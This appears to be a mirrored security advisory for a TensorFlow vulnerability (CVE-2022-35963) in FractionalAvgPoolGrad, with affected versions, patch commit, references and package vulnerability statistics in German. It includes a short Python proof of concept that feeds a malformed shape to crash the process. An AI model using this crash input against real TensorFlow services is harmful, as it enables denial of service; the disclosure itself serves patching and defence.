TensorFlow vulnerable to `CHECK` failures in `FractionalAvgPoolGrad`
Impact
The implementation of FractionalAvgPoolGrad does not fully validate the input orig_input_tensor_shape. This results in an overflow that results in a CHECK failure which can be used to trigger a denial of service attack.
import tensorflow as tf
overlapping = True
orig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64)
out_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64)
row_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
col_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
tf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)Patches
We have patched the issue in GitHub commit 03a659d7be9a1154fdf5eeac221e5950fec07dad.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-cpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
| Python (PyPI) | tensorflow-gpu | < 2.7.2, >= 2.8.0, < 2.8.1, >= 2.9.0, < 2.9.1 | 2.7.2, 2.8.1, 2.9.1 |
Verweise
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-84jm-4cf3-9jfm
- https://nvd.nist.gov/vuln/detail/CVE-2022-35963
- https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad
- https://github.com/tensorflow/tensorflow
- https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0
- https://pypi.org/project/tensorflow
- https://github.com/advisories/GHSA-84jm-4cf3-9jfm
- https://pypi.org/project/tensorflow-cpu
- https://pypi.org/project/tensorflow-gpu
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-617- Plattform
- Python (PyPI)
- Paket
tensorflow, tensorflow-cpu, tensorflow-gpu- Veröffentlicht
- 16.09.2022
- Aktualisiert
- 11.10.2026 14:18
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-3133 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-3296 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-84jm-4cf3-9jfm - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-969 - PyPA Advisory Database; CC BY 4.0
Schwachstellenhistorie: tensorflow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 433
- Erste → letzte
- 04.2019 07.2024
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 6
- Hoch 112
- Mittel 210
- Niedrig 105
Veröffentlichungen pro Jahr
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 169
- 2023: 21
- 2024: 1
- 2025: 0
- 2026: 0
-
TensorFlow vulnerable to `CHECK` failures in `FractionalAvgPoolGrad` dieser Eintrag
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